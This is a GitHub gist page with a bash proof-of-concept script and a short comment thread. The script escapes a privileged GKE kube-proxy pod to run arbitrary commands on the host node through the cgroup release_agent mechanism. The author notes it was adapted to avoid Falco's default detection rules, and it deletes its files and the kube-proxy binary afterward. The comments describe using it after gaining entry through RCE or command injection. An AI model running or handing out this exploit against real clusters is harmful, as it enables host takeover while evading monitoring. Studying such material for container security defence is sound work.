Skip to content

Instantly share code, notes, and snippets.

@bgeesaman
Last active March 21, 2021 00:45
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bgeesaman/d088c1704c75f7fa8dfc2bb66c02d467 to your computer and use it in GitHub Desktop.
Save bgeesaman/d088c1704c75f7fa8dfc2bb66c02d467 to your computer and use it in GitHub Desktop.
GKE/Kube-proxy host command execution via kubectl exec
#!/usr/bin/env bash
# Credit: https://twitter.com/_fel1x
# poc: https://twitter.com/_fel1x/status/1151487051986087936
# Adapted to GKE/kube-proxy by: https://twitter.com/bradgeesaman
# and to avoid detection by Falco's default rules
read -r -d '' ESCAPE <<'EOF'
#!/bin/sh
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab | head -n1`
touch /tmp/o; echo $t/tmp/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/tmp/o" >/tmp/c;chmod +x /tmp/c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /tmp/o
rm -f /tmp/o;rm -f /tmp/c;rm -f /tmp/run; rm -f /bin/kube-proxy
EOF
ESC_FILE="escape.sh"
echo -n "${ESCAPE}" > "${ESC_FILE}"
chmod +x "${ESC_FILE}"
CMD="${1-docker ps}"
KUBE_PROXY_POD_NAME="$(kubectl get pod -n kube-system -l 'component=kube-proxy,tier=node' -o=jsonpath='{.items[].metadata.name}')"
kubectl cp -n kube-system "${ESC_FILE}" "${KUBE_PROXY_POD_NAME}":/tmp/run
kubectl exec -it -n kube-system "${KUBE_PROXY_POD_NAME}" -- ln -s /bin/sh /bin/kube-proxy
kubectl exec -it -n kube-system "${KUBE_PROXY_POD_NAME}" -- /bin/kube-proxy -c "/tmp/run \"$CMD\""
@bgeesaman
Copy link
Author

Run with ./kphcme.sh "ps auxwww" or similar. Default command is docker ps.

@madhuakula
Copy link

Very handy and useful for privilege escalation in Kubernetes. Thanks for sharing :)

@bgeesaman
Copy link
Author

bgeesaman commented Jul 18, 2019

Point of clarification: a "privileged" pod/container in Kubernetes is one with root capabilities on the host, just in its own cgroup. So it's not an "escalation" per se but rather a "shortcut" to leveraging the root permissions it already has and running a command in the primary/host cgroup instead of its own. :-)

@madhuakula
Copy link

Yup. Basically if any container in a pod has running with --privileged and if we end up in that pod container by some vulnerability (RCE, Command Injection, etc.) we can use this to perform privileges escalation to host or node. Am i right?

Thank you so much once again :)

@bgeesaman
Copy link
Author

Glad to help! Just one tweak to the phrasing "perform privilege escalation" -- Because the container and process are already "root", there is no "privilege escalation" per se. Just a handy shortcut using the tools already existing inside the current container to do useful "root" things.

@madhuakula
Copy link

Perfect. Gotcha!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment